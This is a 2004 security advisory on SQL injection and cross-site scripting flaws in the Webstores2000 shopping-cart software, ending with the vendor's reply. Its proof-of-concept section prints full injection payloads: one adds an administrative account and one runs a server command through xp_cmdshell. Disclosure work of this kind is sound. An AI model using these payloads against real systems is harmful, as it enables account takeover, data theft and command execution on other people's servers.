S-Quadra Advisory #2004-02-18 Topic: WebCortex Webstores2000 version 6.0 multiple security vulnerabilities Severity: High Vendor URL: http://www.webcortex.com Advisory URL: http://www.s-quadra.com/advisories/Adv-20040218.txt Release date: 18 Feb 2004 1. DESCRIPTION Webstores2000 is a complete solution for building shopping carts and shopping malls for e-commerce enabled sites. Its written on ASP, works on most Windows platforms and uses MS Access or MS SQL Server as a backend. Please visit http://www.webcortex.com for information about Webstores2000. 2. DETAILS -- Vulnerability 1: SQL Injection vulnerability An SQL Injection vulnerability has been found in the 'browse_items.asp' script User supplied input is not filtered before being used in a SQL query. Consequently, query modification using malformed input is possible. Successfull exploitation of this vulnerability could allow an attacker to gain administrative access to shopping mall and read any information from database (i.e. customers private data). Also an attacker could execute arbitrary commands using xp_cmdshell function. -- Vulnerability 2: Cross Site Scripting vulnerability in 'error.asp' By injecting specially crafted javascript code in url and tricking a user to visit it a remote attacker can steal user session id and gain access to user's personal data. --PoC code --Vulnerability 1: Platform: MS SQL Server as a backend Posting this data to browse_items.asp creates new administrative account Search_Text=&Search_Dept=1&SEARCH_MINPRICE=&SEARCH_MAXPRICE=&SEARCH_SKU=%25%27+AND+Store_Items.Show+%3C%3E+0+AND+Store_Item_Keyword.Store_id%3D1000+and+Store_Items.Store_id%3D1000+GROUP+BY+Store_Items.Quantity_Minimum%2C+Store_Items.U_d_1_name%2C+Store_Items.U_d_2_name%2CStore_Items.U_d_3_name%2CStore_Items.U_d_4_name%2C+Store_Item_Keyword.Item_Id%2CStore_Items.Item_Sku%2C+Store_Items.Item_Name%2C+Store_Items.Retail_Price%2C+Store_Items.ImageS_id%2C+Store_Items.Item_Weight%2C+Store_Items.Quantity_in_stock%2C+Store_Items.Quantity_Control_Number%2C+Store_Items.Retail_Price_special_Discount%2C+Store_Items.Special_start_date%2C+Store_Items.Special_end_date+ORDER+BY+Count%28Store_Item_Keyword.Item_Id%29+DESC%3Binsert+into+Mall_Logins+%28Mall_User_Id%2C+Mall_Password%29+values+%281%2C2%29--&Search_Store.x=0&Search_Store.y=0 Posting this data to browse_items.asp executes 'dir c:' command Search_Text=&Search_Dept=1&SEARCH_MINPRICE=&SEARCH_MAXPRICE=&SEARCH_SKU=%25%27+AND+Store_Items.Show+%3C%3E+0+AND+Store_Item_Keyword.Store_id%3D1000+and+Store_Items.Store_id%3D1000+GROUP+BY+Store_Items.Quantity_Minimum%2C+Store_Items.U_d_1_name%2C+Store_Items.U_d_2_name%2CStore_Items.U_d_3_name%2CStore_Items.U_d_4_name%2C+Store_Item_Keyword.Item_Id%2CStore_Items.Item_Sku%2C+Store_Items.Item_Name%2C+Store_Items.Retail_Price%2C+Store_Items.ImageS_id%2C+Store_Items.Item_Weight%2C+Store_Items.Quantity_in_stock%2C+Store_Items.Quantity_Control_Number%2C+Store_Items.Retail_Price_special_Discount%2C+Store_Items.Special_start_date%2C+Store_Items.Special_end_date+ORDER+BY+Count%28Store_Item_Keyword.Item_Id%29+DESC%3Bexec+master..xp_cmdshell+%27dir+c%3A+%3E+c%3A%5Cresdirc.txt%27--&Search_Store.x=39&Search_Store.y=4 -- Vulnerability 2: http://[target]/error.asp?Message_id=35 3. FIX INFORMATION S-Quadra alerted WebCortex development team to this issue on 13th February 2004. The following response from Shay Sabah has been received: "OK... All of these have been fixed... Now, I ask you to please STOP using our software and making all these "security" emails..." 4. CREDITS Nick Gudov is responsible for discovering this issue. 5. ABOUT S-Quadra offers services in computer security, penetration testing and network assesment, web application security, source code review and third party product vulnerability assesment, forensic support and reverse engineering. S-Quadra Advisory #2004-02-18